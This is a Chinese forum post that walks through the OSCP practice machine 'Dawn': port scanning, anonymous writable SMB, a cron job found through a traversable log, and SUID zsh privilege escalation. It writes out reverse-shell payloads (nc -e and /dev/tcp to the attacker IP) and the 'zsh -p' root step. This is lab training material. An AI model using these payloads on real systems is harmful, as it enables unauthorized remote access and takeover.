OSCP系列靶场-Esay-Dawn

杳若   ·   发表于 2023-07-23 15:03:05   ·   CTF&WP专版

OSCP系列靶场-Esay-Dawn

总结

getwebshell → SMB共享无密码 → SMB存在上传功能 → 存在周期执行任务 → SMB上传反弹shell → 被执行获得webshell

提 权 思 路 → suid发现zsh-p容器提权

准备工作

  • 启动VPN
    获取攻击机IP > 192.168.45.163

  • 启动靶机
    获取目标机器IP > 192.168.242.11

信息收集-端口扫描

目标开放端口收集

  • Nmap开放端口扫描2次
    1. sudo nmap --min-rate 10000 -p- 192.168.242.11

通过两次收集到的端口:→80,139,445,3306

目标端口对应服务探测

  1. # tcp探测
  2. sudo nmap -sT -sV -O -sC -p80,139,445,3306 192.168.242.11

信息收集-端口测试

80/tcp open http Apache httpd 2.4.38 ((Debian))
445/tcp open netbios- Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
3306/tcp open mysql MySQL 5.5.5-10.3.15-MariaDB-1
首先思考445端口是否存在SMB共享内容,在思考3306端口是否存在弱口令,最后来挖掘80端口

445-SMB端口的信息收集

445-SMB是否无需密码探测(存在)

连接成功则SMB没有开启密码

  1. # 利用-L查看SMB的内容
  2. smbclient -L //192.168.242.11

发现SMB服务不需要密码即可访问,查看到了目录ITDEPT

445-SMB文件信息收集

  1. # 利用获取到的[sambashare]直接进行访问查看内容
  2. smbclient //192.168.242.11/ITDEPT -U root

查看了一下文件,没发现什么有用的内容

445-SMB的上传(可能有用)

  1. # 利用获取到的sambashare直接进行访问之后尝试使用PUT是否成功
  2. smbclient //192.168.242.11/ITDEPT -U root
  3. smb :\ > put [上传的文件]

尝试了上传功能,发现SMB的上传功能开启

445-SMB用户名获取

  1. # 抓取用户名
  2. enum4linux 192.168.242.11

抓着玩,先去干其他的

3306-Mysql端口的信息收集

3306-Mysql端口的默认脆弱口令测试(失败)

  1. # 尝试直接使用mysql协议进行root:root尝试(远程需-h)
  2. ┌──(rootKali)-[/home/bachang/Dawn]
  3. └─# mysql -h 192.168.242.11 -uroot -proot
  4. ERROR 1045 (28000): Access denied for user 'root'@'192.168.45.163' (using password: YES)

80-HTTP端口的信息收集

访问 http://192.168.242.11/ 发现显示的是设备正在建设中,从源码步骤开始

信息收集-源码查看

  1. # 包括文章中是否写明一些敏感信息
  2. curl http://192.168.242.11
  3. # 利用html2text转换纯文本方便查看
  4. curl http://192.168.242.11 | html2text

没什么有用的信息

信息收集-目录扫描

信息收集-目录扫描初步

如果扫描发现301适当考虑 -r 2 进行递归

  1. dirsearch -u http://192.168.242.11 -x 302,403

因为扫出了目录,深层次的扫描待选

  1. 信息收集-目录扫描(后缀)
  2. 信息收集-目录扫描(深度/大字典)
  3. 信息收集-目录扫描(深度/大字典后缀)

信息收集-端点查看

/log端点查看
发现该端点存在路径遍历


访问了其中的内容,发现只有management.log可以查看


下载之后进行查看,发现为系统内运行日志

文件的信息收集

收集到了账户信息 ganimedes
在查看的过程中发现每分钟会执行重复的命令,在充满的命令中发现一些有趣的内容
确认了会周期性的执行给777的权限到对应的文件


并且会执行

漏洞利用-getwebshell

SMB+计划执行突破

回到之前我们发现的SMB的文件夹发现是ITDEPT
和我们发现周期性日志中给777权的文件夹相同
推测可以将文件上传到SMB,等待执行获取反弹shell

构造反弹shell的payload

确定我们需要上传的文件名为web-control,构造内容

  1. echo 'nc -e /bin/bash 192.168.45.163 4444' > web-control
  2. echo 'bash -i >& /dev/tcp/192.168.45.163/4444 0>&1' > product-control

将文件上传到SMB中

攻击机开启监听

  1. sudo nc -lvvp 4444

等待反弹shell的监听

成功反弹shell

内网遨游-getshell

交互shell

交互shell-python

由于获取的shell交互不友好,利用python获得新的交互shell

  1. # 利用python获取交互shell -> python失败使用python3
  2. python -c "import pty;pty.spawn('/bin/bash')";

FLAG1获取

  1. www-data@dawn:~$ find / -name local.txt 2>/dev/null
  2. /home/dawn/local.txt
  3. cat /home/dawn/local.txt
  4. *************************

信息收集-内网基础信息收集

在获取shell之后我们要进行内网信息的收集,都是为了提权做准备

检测操作系统的发行版本

  1. # 确定发行版本
  2. lsb_release -a

查看内核版本信息

  1. # 确定内核版本
  2. uname -a

确认home目录下用户

  1. # 发现了两个用户 和我们收集的一样
  2. ls -al /home

确认每个home目录下是否有隐藏文件(待定)
  1. # 例如.ssh找密码 ./*_history找历史记录等
  2. ls -al /home/dawn

发现了隐藏的内容,先放一边,没思路就来

权限提升

Linux提权-sudo提权尝试

查找具有sudo权限,且不需要密码的可提权文件

  1. # 利用sudo -l寻找
  2. sudo -l

发现sudo的是sudo,不太能提权

Linux提权-suid提权尝试

  1. # -perm 文件权限
  2. find / -perm -u=s -type f 2>/dev/null

发现了zsh进行搜索

如果发现有东西的话 访问 https://gtfobins.github.io 寻找


zsh的提权其实与bash的类似

  1. # 以下命令将以root身份打开一个zsh shell
  2. zsh -p

提权成功

FLAG2获取

  1. cat /root/proof.txt
  2. ************************


完结撒花~

用户名金币积分时间理由
Track-魔方 1400.00 0 2023-07-25 13:01:11 平台唯一 500 深度 200 普适 400 可读 200 稀缺 100

打赏我,让我更有动力~

0 条回复   |  直到 2023-7-23 | 499 次浏览
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.